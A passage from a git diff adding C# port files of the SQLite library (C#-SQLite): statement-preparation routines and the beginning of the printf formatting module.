); + goto end_prepare; + } + zSqlCopy = zSql.Substring( 0, nBytes );// sqlite3DbStrNDup(db, zSql, nBytes); + if ( zSqlCopy != null ) + { + sqlite3RunParser( pParse, zSqlCopy, ref zErrMsg ); + //sqlite3DbFree( db, ref zSqlCopy ); + //pParse->zTail = &zSql[pParse->zTail-zSqlCopy]; + } + else + { + //pParse->zTail = &zSql[nBytes]; + } + } + else + { + sqlite3RunParser( pParse, zSql, ref zErrMsg ); + } + + //if ( db.mallocFailed != 0 ) + //{ + // pParse.rc = SQLITE_NOMEM; + //} + if ( pParse.rc == SQLITE_DONE ) pParse.rc = SQLITE_OK; + if ( pParse.checkSchema != 0) + { + schemaIsValid( pParse ); + } + if ( pParse.rc == SQLITE_SCHEMA ) + { + sqlite3ResetInternalSchema( db, 0 ); + } + //if ( db.mallocFailed != 0 ) + //{ + // pParse.rc = SQLITE_NOMEM; + //} + //if (pzTail != null) + { + pzTail = pParse.zTail == null ? "" : pParse.zTail.ToString(); + } + rc = pParse.rc; +#if !SQLITE_OMIT_EXPLAIN + if ( rc == SQLITE_OK && pParse.pVdbe != null && pParse.explain != 0 ) + { + string[] azColName = new string[] { +"addr", "opcode", "p1", "p2", "p3", "p4", "p5", "comment", +"order", "from", "detail" +}; + int iFirst, mx; + if ( pParse.explain == 2 ) + { + sqlite3VdbeSetNumCols( pParse.pVdbe, 3 ); + iFirst = 8; + mx = 11; + } + else + { + sqlite3VdbeSetNumCols( pParse.pVdbe, 8 ); + iFirst = 0; + mx = 8; + } + for ( i = iFirst ; i < mx ; i++ ) + { + sqlite3VdbeSetColName( pParse.pVdbe, i - iFirst, COLNAME_NAME, + azColName[i], SQLITE_STATIC ); + } + } +#endif + + if ( sqlite3SafetyOff( db ) ) + { + rc = SQLITE_MISUSE; + } + + Debug.Assert( db.init.busy == 0 || saveSqlFlag == 0 ); + if ( db.init.busy == 0 ) + { + Vdbe pVdbe = pParse.pVdbe; + sqlite3VdbeSetSql( pVdbe, zSql, (int)( zSql.Length - ( pParse.zTail == null ? 0 : pParse.zTail.Length ) ), saveSqlFlag ); + } + if ( pParse.pVdbe != null && ( rc != SQLITE_OK /*|| db.mallocFailed != 0 */ ) ) + { + sqlite3VdbeFinalize( pParse.pVdbe ); + Debug.Assert( ppStmt == null ); + } + else + { + ppStmt = pParse.pVdbe; + } + + if ( zErrMsg != "" ) + { + sqlite3Error( db, rc, "%s", zErrMsg ); + //sqlite3DbFree( db, ref zErrMsg ); + } + else + { + sqlite3Error( db, rc, 0 ); + } + +end_prepare: + + //sqlite3StackFree( db, pParse ); + rc = sqlite3ApiExit( db, rc ); + Debug.Assert( ( rc & db.errMask ) == rc ); + return rc; + } + + static int sqlite3LockAndPrepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + int rc; + // assert( ppStmt!=0 ); + ppStmt = null; + if ( !sqlite3SafetyCheckOk( db ) ) + { + return SQLITE_MISUSE; + } + sqlite3_mutex_enter( db.mutex ); + sqlite3BtreeEnterAll( db ); + rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, ref ppStmt, ref pzTail ); + if ( rc == SQLITE_SCHEMA ) + { + sqlite3_finalize( ref ppStmt ); + rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, ref ppStmt, ref pzTail ); + } + sqlite3BtreeLeaveAll( db ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Rerun the compilation of a statement after a schema change. + ** + ** If the statement is successfully recompiled, return SQLITE_OK. Otherwise, + ** if the statement cannot be recompiled because another connection has + ** locked the sqlite3_master table, return SQLITE_LOCKED. If any other error + ** occurs, return SQLITE_SCHEMA. + */ + static int sqlite3Reprepare( Vdbe p ) + { + int rc; + sqlite3_stmt pNew = new sqlite3_stmt(); + string zSql; + sqlite3 db; + + Debug.Assert( sqlite3_mutex_held( sqlite3VdbeDb( p ).mutex ) ); + zSql = sqlite3_sql( (sqlite3_stmt)p ); + Debug.Assert( zSql != null ); /* Reprepare only called for prepare_v2() statements */ + db = sqlite3VdbeDb( p ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + string dummy = ""; + rc = sqlite3LockAndPrepare( db, zSql, -1, 1, ref pNew, ref dummy ); + if ( rc != 0 ) + { + if ( rc == SQLITE_NOMEM ) + { + // db.mallocFailed = 1; + } + Debug.Assert( pNew == null ); + return ( rc == SQLITE_LOCKED ) ? SQLITE_LOCKED : SQLITE_SCHEMA; + } + else + { + Debug.Assert( pNew != null ); + } + sqlite3VdbeSwap( (Vdbe)pNew, p ); + sqlite3TransferBindings( pNew, (sqlite3_stmt)p ); + sqlite3VdbeResetStepResult( (Vdbe)pNew ); + sqlite3VdbeFinalize( (Vdbe)pNew ); + return SQLITE_OK; + } + + + /* + ** Two versions of the official API. Legacy and new use. In the legacy + ** version, the original SQL text is not saved in the prepared statement + ** and so if a schema change occurs, SQLITE_SCHEMA is returned by + ** sqlite3_step(). In the new version, the original SQL text is retained + ** and the statement is automatically recompiled if an schema change + ** occurs. + */ + public static int sqlite3_prepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + int rc; + rc = sqlite3LockAndPrepare( db, zSql, nBytes, 0, ref ppStmt, ref pzTail ); + Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ + return rc; + } + public static int sqlite3_prepare_v2( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + int dummy /* ( No string passed) */ + ) + { + string pzTail = null; + int rc; + rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, ref ppStmt, ref pzTail ); + Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ + return rc; + } + public static int sqlite3_prepare_v2( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + int rc; + rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, ref ppStmt, ref pzTail ); + Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ + return rc; + } + + +#if ! SQLITE_OMIT_UTF16 + +/* +** Compile the UTF-16 encoded SQL statement zSql into a statement handle. +*/ +static int sqlite3Prepare16( +sqlite3 db, /* Database handle. */ +string zSql, /* UTF-8 encoded SQL statement. */ +int nBytes, /* Length of zSql in bytes. */ +bool saveSqlFlag, /* True to save SQL text into the sqlite3_stmt */ +ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ +ref string pzTail /* OUT: End of parsed string */ +){ +/* This function currently works by first transforming the UTF-16 +** encoded string to UTF-8, then invoking sqlite3_prepare(). The +** tricky bit is figuring out the pointer to return in pzTail. +*/ +string zSql8; +string zTail8 = ""; +int rc = SQLITE_OK; + +assert( ppStmt ); +*ppStmt = 0; +if( !sqlite3SafetyCheckOk(db) ){ +return SQLITE_MISUSE; +} +sqlite3_mutex_enter(db.mutex); +zSql8 = sqlite3Utf16to8(db, zSql, nBytes); +if( zSql8 !=""){ +rc = sqlite3LockAndPrepare(db, zSql8, -1, saveSqlFlag, ref ppStmt, ref zTail8); +} + +if( zTail8 !="" && pzTail !=""){ +/* If sqlite3_prepare returns a tail pointer, we calculate the +** equivalent pointer into the UTF-16 string by counting the unicode +** characters between zSql8 and zTail8, and then returning a pointer +** the same number of characters into the UTF-16 string. +*/ +Debugger.Break (); // TODO -- +// int chars_parsed = sqlite3Utf8CharLen(zSql8, (int)(zTail8-zSql8)); +// pzTail = (u8 *)zSql + sqlite3Utf16ByteLen(zSql, chars_parsed); +} +//sqlite3DbFree(db,ref zSql8); +rc = sqlite3ApiExit(db, rc); +sqlite3_mutex_leave(db.mutex); +return rc; +} + +/* +** Two versions of the official API. Legacy and new use. In the legacy +** version, the original SQL text is not saved in the prepared statement +** and so if a schema change occurs, SQLITE_SCHEMA is returned by +** sqlite3_step(). In the new version, the original SQL text is retained +** and the statement is automatically recompiled if an schema change +** occurs. +*/ +public static int sqlite3_prepare16( +sqlite3 db, /* Database handle. */ +string zSql, /* UTF-8 encoded SQL statement. */ +int nBytes, /* Length of zSql in bytes. */ +ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ +ref string pzTail /* OUT: End of parsed string */ +){ +int rc; +rc = sqlite3Prepare16(db,zSql,nBytes,false,ref ppStmt,ref pzTail); +Debug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null ); /* VERIFY: F13021 */ +return rc; +} +public static int sqlite3_prepare16_v2( +sqlite3 db, /* Database handle. */ +string zSql, /* UTF-8 encoded SQL statement. */ +int nBytes, /* Length of zSql in bytes. */ +ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ +ref string pzTail /* OUT: End of parsed string */ +) +{ +int rc; +rc = sqlite3Prepare16(db,zSql,nBytes,true,ref ppStmt,ref pzTail); +Debug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null ); /* VERIFY: F13021 */ +return rc; +} + +#endif // * SQLITE_OMIT_UTF16 */ + } +} diff --git a/SQLite/src/printf_c.cs b/SQLite/src/printf_c.cs new file mode 100644 index 0000000..bc7cded --- /dev/null +++ b/SQLite/src/printf_c.cs @@ -0,0 +1,1250 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +namespace CS_SQLite3 +{ + using etByte = System.Boolean; + using i64 = System.Int64; + using u64 = System.UInt64; + using LONGDOUBLE_TYPE = System.Double; + using sqlite_u3264 = System.UInt64; + using va_list = System.Object; + + public partial class CSSQLite + { + /* + ** The "printf" code that follows dates from the 1980's. It is in + ** the public domain. The original comments are included here for + ** completeness. They are very out-of-date but might be useful as + ** an historical reference. Most of the "enhancements" have been backed + ** out so that the functionality is now the same as standard printf(). + ** + ** $Id: printf.c,v 1.104 2009/06/03 01:24:54 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** + ************************************************************************** + ** + ** The following modules is an enhanced replacement for the "printf" subroutines + ** found in the standard C library. The following enhancements are + ** supported: + ** + ** + Additional functions. The standard set of "printf" functions + ** includes printf, fprintf, sprintf, vprintf, vfprintf, and + ** vsprintf. This module adds the following: + ** + ** * snprintf -- Works like sprintf, but has an extra argument + ** which is the size of the buffer written to. + ** + ** * mprintf -- Similar to sprintf. Writes output to memory + ** obtained from malloc. + ** + ** * xprintf -- Calls a function to dispose of output. + ** + ** * nprintf -- No output, but returns the number of characters + ** that would have been output by printf. + ** + ** * A v- version (ex: vsnprintf) of every function is also + ** supplied. + ** + ** + A few extensions to the formatting notation are supported: + ** + ** * The "=" flag (similar to "-") causes the output to be + ** be centered in the appropriately sized field. + ** + ** * The %b field outputs an integer in binary notation. + ** + ** * The %c field now accepts a precision. The character output + ** is repeated by the number of times the precision specifies. + ** + ** * The %' field works like %c, but takes as its character the + ** next character of the format string, instead of the next + ** argument. For example, printf("%.78'-") prints 78 minus + ** signs, the same as printf("%.78c",'-'). + ** + ** + When compiled using GCC on a SPARC, this version of printf is + ** faster than the library printf for SUN OS 4.1. + ** + ** + All functions are fully reentrant. + ** + */ + //#include "sqliteInt.h" + + /* + ** Conversion types fall into various categories as defined by the + ** following enumeration. + */ + //#define etRADIX 1 /* Integer types. %d, %x, %o, and so forth */ + //#define etFLOAT 2 /* Floating point. %f */ + //#define etEXP 3 /* Exponentional notation. %e and %E */ + //#define etGENERIC 4 /* Floating or exponential, depending on exponent. %g */ + //#define etSIZE 5 /* Return number of characters processed so far. %n */ + //#define etSTRING 6 /* Strings. %s */ + //#define etDYNSTRING 7 /* Dynamically allocated strings. %z */ + //#define etPERCENT 8 /* Percent symbol. %% */ + //#define etCHARX 9 /* Characters. %c */ + ///* The rest are extensions, not normally found in printf() */ + //#define etSQLESCAPE 10 /* Strings with '\'' doubled. %q */ + //#define etSQLESCAPE2 11 /* Strings with '\'' doubled and enclosed in '', + // NULL pointers replaced by SQL NULL. %Q */ + //#define etTOKEN 12 /* a pointer to a Token structure */ + //#define etSRCLIST 13 /* a pointer to a SrcList */ + //#define etPOINTER 14 /* The %p conversion */ + //#define etSQLESCAPE3 15 /* %w -> Strings with '\"' doubled */ + //#define etORDINAL 16 /* %r -> 1st, 2nd, 3rd, 4th, etc. English only */ + + //#define etINVALID 0 /* Any unrecognized conversion type */ + + const int etRADIX = 1; /* Integer types. %d, %x, %o, and so forth */ + const int etFLOAT = 2; /* Floating point. %f */ + const int etEXP = 3; /* Exponentional notation. %e and %E */ + const int etGENERIC = 4; /* Floating or exponential, depending on exponent. %g */ + const int etSIZE = 5; /* Return number of characters processed so far. %n */ + const int etSTRING = 6; /* Strings. %s */ + const int etDYNSTRING = 7; /* Dynamically allocated strings. %z */ + const int etPERCENT = 8; /* Percent symbol. %% */ + const int etCHARX = 9; /* Characters. %c */ + /* The rest are extensions, not normally found in printf() */ + const int etSQLESCAPE = 10; /* Strings with '\'' doubled. %q */ + const int etSQLESCAPE2 = 11; /* Strings with '\'' doubled and enclosed in '', +NULL pointers replaced by SQL NULL. %Q */ + const int etTOKEN = 12; /* a pointer to a Token structure */ + const int etSRCLIST = 13; /* a pointer to a SrcList */ + const int etPOINTER = 14; /* The %p conversion */ + const int etSQLESCAPE3 = 15; /* %w . Strings with '\"' doubled */ + const int etORDINAL = 16; /* %r . 1st, 2nd, 3rd, 4th, etc. English only */ + const int etINVALID = 0; /* Any unrecognized conversion type */ + + /* + ** An "etByte" is an 8-bit unsigned value. + */ + //typedef unsigned char etByte; + + /* + ** Each builtin conversion character (ex: the 'd' in "%d") is described + ** by an instance of the following structure + */ + public class et_info + { /* Information about each format field */ + public char fmttype; /* The format field code letter */ + public byte _base; /* The _base for radix conversion */ + public byte flags; /* One or more of FLAG_ constants below */ + public byte type; /* Conversion paradigm */ + public byte charset; /* Offset into aDigits[] of the digits string */ + public byte prefix; /* Offset into aPrefix[] of the prefix string */ + /* + * Constructor + */ + public et_info( char fmttype, + byte _base, + byte flags, + byte type, + byte charset, + byte prefix + ) + { + this.fmttype = fmttype; + this._base = _base; + this.flags = flags; + this.type = type; + this.charset = charset; + this.prefix = prefix; + } + + } + + /* + ** Allowed values for et_info.flags + */ + const byte FLAG_SIGNED = 1; /* True if the value to convert is signed */ + const byte FLAG_INTERN = 2; /* True if for internal use only */ + const byte FLAG_STRING = 4; /* Allow infinity precision */ + + + /* + ** The following table is searched linearly, so it is good to put the + ** most frequently used conversion types first. + */ + static string aDigits = "0123456789ABCDEF0123456789abcdef"; + static string aPrefix = "-x0\000X0"; + static et_info[] fmtinfo = new et_info[] { +new et_info( 'd', 10, 1, etRADIX, 0, 0 ), +new et_info( 's', 0, 4, etSTRING, 0, 0 ), +new et_info( 'g', 0, 1, etGENERIC, 30, 0 ), +new et_info( 'z', 0, 4, etDYNSTRING, 0, 0 ), +new et_info( 'q', 0, 4, etSQLESCAPE, 0, 0 ), +new et_info( 'Q', 0, 4, etSQLESCAPE2, 0, 0 ), +new et_info( 'w', 0, 4, etSQLESCAPE3, 0, 0 ), +new et_info( 'c', 0, 0, etCHARX, 0, 0 ), +new et_info( 'o', 8, 0, etRADIX, 0, 2 ), +new et_info( 'u', 10, 0, etRADIX, 0, 0 ), +new et_info( 'x', 16, 0, etRADIX, 16, 1 ), +new et_info( 'X', 16, 0, etRADIX, 0, 4 ), +#if !SQLITE_OMIT_FLOATING_POINT +new et_info( 'f', 0, 1, etFLOAT, 0, 0 ), +new et_info( 'e', 0, 1, etEXP, 30, 0 ), +new et_info( 'E', 0, 1, etEXP, 14, 0 ), +new et_info( 'G', 0, 1, etGENERIC, 14, 0 ), +#endif +new et_info( 'i', 10, 1, etRADIX, 0, 0 ), +new et_info( 'n', 0, 0, etSIZE, 0, 0 ), +new et_info( '%', 0, 0, etPERCENT, 0, 0 ), +new et_info( 'p', 16, 0, etPOINTER, 0, 1 ), + +/* All the rest have the FLAG_INTERN bit set and are thus for internal +** use only */ +new et_info( 'T', 0, 2, etTOKEN, 0, 0 ), +new et_info( 'S', 0, 2, etSRCLIST, 0, 0 ), +new et_info( 'r', 10, 3, etORDINAL, 0, 0 ), +}; + /* + ** If SQLITE_OMIT_FLOATING_POINT is defined, then none of the floating point + ** conversions will work. + */ +#if !SQLITE_OMIT_FLOATING_POINT + /* +** "*val" is a double such that 0.1 <= *val < 10.0 +** Return the ascii code for the leading digit of *val, then +** multiply "*val" by 10.0 to renormalize. +** +** Example: +** input: *val = 3.14159 +** output: *val = 1.4159 function return = '3' +** +** The counter *cnt is incremented each time. After counter exceeds +** 16 (the number of significant digits in a 64-bit float) '0' is +** always returned. +*/ + static char et_getdigit( ref LONGDOUBLE_TYPE val, ref int cnt ) + { + int digit; + LONGDOUBLE_TYPE d; + if ( cnt++ >= 16 ) return '\0'; + digit = (int)val; + d = digit; + //digit += '0'; + val = ( val - d ) * 10.0; + return (char)digit; + } +#endif // * SQLITE_OMIT_FLOATING_POINT */ + + /* +** Append N space characters to the given string buffer. +*/ + static void appendSpace( StrAccum pAccum, int N ) + { + //static const char zSpaces[] = " "; + //while( N>=zSpaces.Length-1 ){ + // sqlite3StrAccumAppend(pAccum, zSpaces, zSpaces.Length-1); + // N -= zSpaces.Length-1; + //} + //if( N>0 ){ + // sqlite3StrAccumAppend(pAccum, zSpaces, N); + //} + pAccum.zText.AppendFormat( "{0," + N + "}", "" ); + } + + /* + ** On machines with a small stack size, you can redefine the + ** SQLITE_PRINT_BUF_SIZE to be less than 350. + */ +#if !SQLITE_PRINT_BUF_SIZE +# if (SQLITE_SMALL_STACK) +const int SQLITE_PRINT_BUF_SIZE = 50; +# else + const int SQLITE_PRINT_BUF_SIZE = 350; +#endif +#endif + const int etBUFSIZE = SQLITE_PRINT_BUF_SIZE; /* Size of the output buffer */ + + /* + ** The root program. All variations call this core. + ** + ** INPUTS: + ** func This is a pointer to a function taking three arguments + ** 1. A pointer to anything. Same as the "arg" parameter. + ** 2. A pointer to the list of characters to be output + ** (Note, this list is NOT null terminated.) + ** 3. An integer number of characters to be output. + ** (Note: This number might be zero.) + ** + ** arg This is the pointer to anything which will be passed as the + ** first argument to "func". Use it for whatever you like. + ** + ** fmt This is the format string, as in the usual print. + ** + ** ap This is a pointer to a list of arguments. Same as in + ** vfprint. + ** + ** OUTPUTS: + ** The return value is the total number of characters sent to + ** the function "func". Returns -1 on a error. + ** + ** Note that the order in which automatic variables are declared below + ** seems to make a big difference in determining how fast this beast + ** will run. + */ + static void sqlite3VXPrintf( + StrAccum pAccum, /* Accumulate results here */ + int useExtended, /* Allow extended %-conversions */ + string fmt, /* Format string */ + va_list[] ap /* arguments */ + ) + { + int c; /* Next character in the format string */ + int bufpt; /* Pointer to the conversion buffer */ + int precision; /* Precision of the current field */ + int length; /* Length of the field */ + int idx; /* A general purpose loop counter */ + int width; /* Width of the current field */ + etByte flag_leftjustify; /* True if "-" flag is present */ + etByte flag_plussign; /* True if "+" flag is present */ + etByte flag_blanksign; /* True if " " flag is present */ + etByte flag_alternateform; /* True if "#" flag is present */ + etByte flag_altform2; /* True if "!" flag is present */ + etByte flag_zeropad; /* True if field width constant starts with zero */ + etByte flag_long; /* True if "l" flag is present */ + etByte flag_longlong; /* True if the "ll" flag is present */ + etByte done; /* Loop termination flag */ + i64 longvalue; + LONGDOUBLE_TYPE realvalue; /* Value for real types */ + et_info infop; /* Pointer to the appropriate info structure */ + char[] buf = new char[etBUFSIZE]; /* Conversion buffer */ + char prefix; /* Prefix character. "+" or "-" or " " or '\0'. */ + byte xtype = 0; /* Conversion paradigm */ + // Not used in C# -- string zExtra; /* Extra memory used for etTCLESCAPE conversions */ +#if !SQLITE_OMIT_FLOATING_POINT + int exp, e2; /* exponent of real numbers */ + double rounder; /* Used for rounding floating point values */ + etByte flag_dp; /* True if decimal point should be shown */ + etByte flag_rtz; /* True if trailing zeros should be removed */ + etByte flag_exp; /* True to force display of the exponent */ + int nsd; /* Number of significant digits returned */ +#endif + length = 0; + bufpt = 0; + int _fmt = 0; // Work around string pointer + fmt += '\0'; + + for ( ; _fmt <= fmt.Length && ( c = fmt[_fmt] ) != 0 ; ++_fmt ) + { + if ( c != '%' ) + { + int amt; + bufpt = _fmt; + amt = 1; + while ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) != '%' && c != 0 ) amt++; + sqlite3StrAccumAppend( pAccum, fmt.Substring( bufpt, amt ), amt ); + if ( c == 0 ) break; + } + if ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) == 0 ) + { + sqlite3StrAccumAppend( pAccum, "%", 1 ); + break; + } + /* Find out what flags are present */ + flag_leftjustify = flag_plussign = flag_blanksign = + flag_alternateform = flag_altform2 = flag_zeropad = false; + done = false; + do + { + switch ( c ) + { + case '-': flag_leftjustify = true; break; + case '+': flag_plussign = true; break; + case ' ': flag_blanksign = true; break; + case '#': flag_alternateform = true; break; + case '!': flag_altform2 = true; break; + case '0': flag_zeropad = true; break; + default: done = true; break; + } + } while ( !done && _fmt < fmt.Length - 1 && ( c = ( fmt[++_fmt] ) ) != 0 ); + /* Get the field width */ + width = 0; + if ( c == '*' ) + { + width = (int)va_arg( ap, "int" ); + if ( width < 0 ) + { + flag_leftjustify = true; + width = -width; + } + c = fmt[++_fmt]; + } + else + { + while ( c >= '0' && c <= '9' ) + { + width = width * 10 + c - '0'; + c = fmt[++_fmt]; + } + } + if ( width > etBUFSIZE - 10 ) + { + width = etBUFSIZE - 12; + } + /* Get the precision */ + if ( c == '.' ) + { + precision = 0; + c = fmt[++_fmt]; + if ( c == '*' ) + { + precision = (int)va_arg( ap, "int" ); + if ( precision < 0 ) precision = -precision; + c = fmt[++_fmt]; + } + else + { + while ( c >= '0' && c <= '9' ) + { + precision = precision * 10 + c - '0'; + c = fmt[++_fmt]; + } + } + } + else + { + precision = -1; + } + /* Get the conversion type modifier */ + if ( c == 'l' ) + { + flag_long = true; + c = fmt[++_fmt]; + if ( c == 'l' ) + { + flag_longlong = true; + c = fmt[++_fmt]; + } + else + { + flag_longlong = false; + } + } + else + { + flag_long = flag_longlong = false; + } + /* Fetch the info entry for the field */ + infop = fmtinfo[0]; + xtype = etINVALID; + for ( idx = 0 ; idx < ArraySize( fmtinfo ) ; idx++ ) + { + if ( c == fmtinfo[idx].fmttype ) + { + infop = fmtinfo[idx]; + if ( useExtended != 0 || ( infop.flags & FLAG_INTERN ) == 0 ) + { + xtype = infop.type; + } + else + { + return; + } + break; + } + } + //zExtra = null; + + /* Limit the precision to prevent overflowing buf[] during conversion */ + if ( precision > etBUFSIZE - 40 && ( infop.flags & FLAG_STRING ) == 0 ) + { + precision = etBUFSIZE - 40; + } + + /* + ** At this point, variables are initialized as follows: + ** + ** flag_alternateform TRUE if a '#' is present. + ** flag_altform2 TRUE if a '!' is present. + ** flag_plussign TRUE if a '+' is present. + ** flag_leftjustify TRUE if a '-' is present or if the + ** field width was negative. + ** flag_zeropad TRUE if the width began with 0. + ** flag_long TRUE if the letter 'l' (ell) prefixed + ** the conversion character. + ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed + ** the conversion character. + ** flag_blanksign TRUE if a ' ' is present. + ** width The specified field width. This is + ** always non-negative. Zero is the default. + ** precision The specified precision. The default + ** is -1. + ** xtype The class of the conversion. + ** infop Pointer to the appropriate info struct. + */ + switch ( xtype ) + { + case etPOINTER: + flag_longlong = true;// char*.Length == sizeof(i64); + flag_long = false;// char*.Length == sizeof(long); + /* Fall through into the next case */ + goto case etRADIX; + case etORDINAL: + case etRADIX: + if ( ( infop.flags & FLAG_SIGNED ) != 0 ) + { + i64 v; + if ( flag_longlong ) + { + v = (long)va_arg( ap, "i64" ); + } + else if ( flag_long ) + { + v = (long)va_arg( ap, "long int" ); + } + else + { + v = (int)va_arg( ap, "int" ); + } + if ( v < 0 ) + { + longvalue = -v; + prefix = '-'; + } + else + { + longvalue = v; + if ( flag_plussign ) prefix = '+'; + else if ( flag_blanksign ) prefix = ' '; + else prefix = '\0'; + } + } + else + { + if ( flag_longlong ) + { + longvalue = (i64)va_arg( ap, "longlong int" ); + } + else if ( flag_long ) + { + longvalue = (i64)va_arg( ap, "long int" ); + } + else + { + longvalue = (i64)va_arg( ap, "long" ); + } + prefix = '\0'; + } + if ( longvalue == 0 ) flag_alternateform = false; + if ( flag_zeropad && precision < width - ( ( prefix != '\0' ) ? 1 : 0 ) ) + { + precision = width - ( ( prefix != '\0' ) ? 1 : 0 ); + } + bufpt = buf.Length;//[etBUFSIZE-1]; + char[] _bufOrd = null; + if ( xtype == etORDINAL ) + { + char[] zOrd = "thstndrd".ToCharArray(); + int x = (int)( longvalue % 10 ); + if ( x >= 4 || ( longvalue / 10 ) % 10 == 1 ) + { + x = 0; + } + _bufOrd = new char[2]; + _bufOrd[0] = zOrd[x * 2]; + _bufOrd[1] = zOrd[x * 2 + 1]; + //bufpt -= 2; + } + { + + char[] _buf; + switch ( infop._base ) + { + case 16: + _buf = longvalue.ToString( "x" ).ToCharArray(); + break; + case 8: + _buf = Convert.ToString( (long)longvalue, 8 ).ToCharArray(); + break; + default: + { + if ( flag_zeropad ) + _buf = longvalue.ToString( new string( '0', width - ( ( prefix != '\0' ) ? 1 : 0 ) ) ).ToCharArray(); + else + _buf = longvalue.ToString().ToCharArray(); + } + break; + } + bufpt = buf.Length - _buf.Length - ( _bufOrd == null ? 0 : 2 ); + Array.Copy( _buf, 0, buf, bufpt, _buf.Length ); + if ( _bufOrd != null ) + { + buf[buf.Length - 1] = _bufOrd[1]; + buf[buf.Length - 2] = _bufOrd[0]; + } + //char* cset; /* Use registers for speed */ + //int _base; + //cset = aDigits[infop.charset]; + //_base = infop._base; + //do + //{ /* Convert to ascii */ + // *(--bufpt) = cset[longvalue % (ulong)_base]; + // longvalue = longvalue / (ulong)_base; + //} while (longvalue > 0); + } + length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt); + for ( idx = precision - length ; idx > 0 ; idx-- ) + { + buf[( --bufpt )] = '0'; /* Zero pad */ + } + if ( prefix != '\0' ) buf[--bufpt] = prefix; /* Add sign */ + if ( flag_alternateform && infop.prefix != 0 ) + { /* Add "0" or "0x" */ + int pre; + char x; + pre = infop.prefix; + for ( ; ( x = aPrefix[pre] ) != 0 ; pre++ ) buf[--bufpt] = x; + } + length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt); + break; + case etFLOAT: + case etEXP: + case etGENERIC: + realvalue = (double)va_arg( ap, "double" ); +#if !SQLITE_OMIT_FLOATING_POINT + if ( precision < 0 ) precision = 6; /* Set default precision */ + if ( precision > etBUFSIZE / 2 - 10 ) precision = etBUFSIZE / 2 - 10; + if ( realvalue < 0.0 ) + { + realvalue = -realvalue; + prefix = '-'; + } + else + { + if ( flag_plussign ) prefix = '+'; + else if ( flag_blanksign ) prefix = ' '; + else prefix = '\0'; + } + if ( xtype == etGENERIC && precision > 0 ) precision--; +#if FALSE +/* Rounding works like BSD when the constant 0.4999 is used. Wierd! */ +for(idx=precision, rounder=0.4999; idx>0; idx--, rounder*=0.1); +#else + /* It makes more sense to use 0.5 */ + for ( idx = precision, rounder = 0.5 ; idx > 0 ; idx--, rounder *= 0.1 ) { } +#endif + if ( xtype == etFLOAT ) realvalue += rounder; + /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */ + exp = 0; + double d = 0; + if ( Double.IsNaN( realvalue ) || !( Double.TryParse( Convert.ToString( realvalue ), out d ) ) )//if( sqlite3IsNaN((double)realvalue) ) + { + buf = "NaN".ToCharArray(); + length = 3; + break; + } + if ( realvalue > 0.0 ) + { + while ( realvalue >= 1e32 && exp <= 350 ) { realvalue *= 1e-32; exp += 32; } + while ( realvalue >= 1e8 && exp <= 350 ) { realvalue *= 1e-8; exp += 8; } + while ( realvalue >= 10.0 && exp <= 350 ) { realvalue *= 0.1; exp++; } + while ( realvalue < 1e-8 ) { realvalue *= 1e8; exp -= 8; } + while ( realvalue < 1.0 ) { realvalue *= 10.0; exp--; } + if ( exp > 350 ) + { + if ( prefix == '-' ) + { + buf = "-Inf".ToCharArray(); + bufpt = 4; + } + else if ( prefix == '+' ) + { + buf = "+Inf".ToCharArray(); + bufpt = 4; + } + else + { + buf = "Inf".ToCharArray(); + bufpt = 3; + } + length = sqlite3Strlen30( bufpt );// sqlite3Strlen30(bufpt); + bufpt = 0; + break; + } + } + bufpt = 0; + /* + ** If the field type is etGENERIC, then convert to either etEXP + ** or etFLOAT, as appropriate. + */ + flag_exp = xtype == etEXP; + if ( xtype != etFLOAT ) + { + realvalue += rounder; + if ( realvalue >= 10.0 ) { realvalue *= 0.1; exp++; } + } + if ( xtype == etGENERIC ) + { + flag_rtz = !flag_alternateform; + if ( exp < -4 || exp > precision ) + { + xtype = etEXP; + } + else + { + precision = precision - exp; + xtype = etFLOAT; + } + } + else + { + flag_rtz = false; + } + if ( xtype == etEXP ) + { + e2 = 0; + } + else + { + e2 = exp; + } + nsd = 0; + flag_dp = ( precision > 0 ? true : false ) 